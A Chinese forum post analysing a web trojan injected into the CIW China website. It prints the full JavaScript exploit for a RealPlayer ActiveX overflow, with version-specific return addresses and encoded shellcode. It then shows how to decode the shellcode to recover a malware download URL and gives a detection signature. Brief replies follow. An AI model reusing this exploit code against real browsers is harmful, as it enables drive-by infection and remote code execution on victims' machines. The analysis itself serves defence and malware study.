之前CIW中国（hxxp://www.ciwchina.com/）被挂了恶意网址:

hxxp://b.wacsy.com/rr.js

脚本如下: 引用:

var Cuteqq = ["%7f%a5%60","%7f%a5%60","%4f%71%a4%60","Qq:784378237"]; var path = "C:\\Program Files\\NetMeeting\\TestSnd.wav";function CuteQqRealplayerExp(){ var Qs, user = navigator["userAgent"]["toLowerCase"]();if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1) return; if(user.indexOf("nt 5.")==-1) return; RealPlayerObj = "I" + "E" + "R" + "PC" + "tl.I" + "ERP" + "Ctl.1"; C=RealPlayerObj; try{ RealPlayerExpGet = new window["ActiveXObject"](RealPlayerObj); Q=C; } catch(error) { return; } RealVersion = RealPlayerExpGet["PlayerProperty"]("PRODUCTVERSION"); Padding = ""; JmpOver = window["unescape"]("%75%06%74%04"); for(i=0;i<32*148;i++) Padding += "S";  if(RealVersion.indexOf("6.0.14.") == -1) { if(navigator.userLanguage.toLowerCase() == "zh-cn") ret = window["unescape"](Cuteqq[1]); else if(navigator.userLanguage.toLowerCase() == "zh-tw") ret = window["unescape"](Cuteqq[2]); else if(navigator.userLanguage.toLowerCase() == "en-us") ret = window["unescape"](Cuteqq[3]); else return; } else if(RealVersion == "6.0.14.544") ret = window["unescape"]("%63%11%08%60"); else if(RealVersion == "6.0.14.550") ret = window["unescape"]("%63%11%04%60"); else if(RealVersion == "6.0.14.552") ret = window["unescape"]("%79%31%01%60"); else if(RealVersion == "6.0.14.543") ret = window["unescape"]("%79%31%09%60"); else if(RealVersion == "6.0.14.536") ret = window["unescape"]("%51%11%70%63"); else return;  if(RealVersion.indexOf("6.0.10.") != -1) { for(i=0;i<4;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } else if(RealVersion.indexOf("6.0.11.") != -1) { for(i=0;i<6;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } else if(RealVersion.indexOf("6.0.12.") != -1) { for(i=0;i<9;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } else if(RealVersion.indexOf("6.0.14.") != -1) { for(i=0;i<10;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } var Cu, kfqq, wingss; wingss="Qq784378237"; Cu="LLLL\\XXXXXLD"; kfqq="784378237"; Te=Cu; Codes = "TYI" + "IIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZ" + "zMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5M" + "gMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPw
P9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSoo
FWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7
nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoSSTnrWPaQs1c3IVN
2CPobMtopoPktnqu2XPeMPGp";C2=""; Cuteqq_Pay_Load = Padding + Cu + Codes; while(Cuteqq_Pay_Load["length"] < 0x8000) Cuteqq_Pay_Load +="ChuiZi"; RealPlayerExpGet["Import"](path, Cuteqq_Pay_Load, "", 0, 0); Qs="784378237"; } CuteQqRealplayerExp();

特征:
TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVs
ZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5Mg
MWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9
v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFW
TtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nV
oUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoSSTnrWPaQs1c3IVN2C
PobMtopoPktnqu2XPeMPGp

其中网马地址一般在RHptd4RPFZVOdo之后,也有不同,不过只需要后面几十个字符,前面的都是漏洞利用的shellcode.
解密的时候,两位两位的取,比如"RH"然后转成16进制得到"5248",用第二位 XOR 第三位,得到"6",把6和第四位放一起,得到"68",然后再转回字符串68=h.

取最后字符(双数):RHptd4RPFZVOdoSSTnrWPaQs1c3IVN2CPobMtopoPktnqu2XPeMPGp
转换位ASCII码并解密:
52  48  70  74  64  34  52  50  46  5A  56  4F  64  6F  
68      74      74      70      3A      2F      2F
53  53  54  6E  72  57  50  61  51  73  31  63  33  49  56  4E
63      2E      77      61      63      73      79      2E
32  43  50  6F  62  4D  74  6F  70  6F  50  6B  74  6E  71  75
63      6F      6D      2F      6F      6B      2E      65
32  58  50  65  4D  50  47  70
78      65      80      00

68 74 74 70 3A 2F 2F 63 2E 77 61 63 73 79 2E 63 6F 6D 2F 6F 6B 2E 65 78 65  
hxxp://c.wacsy.com/ok.exe            

解密后为: hxxp://c.wacsy.com/ok.exe

为了好看,把字符串人为的隔开了(用enter隔开).

我有1写在网上截获的网马，但是自己太菜可以帮我解解密吗？ 好象和这个查不多谢谢了 我的79898715

呵呵...........


有点不懂...............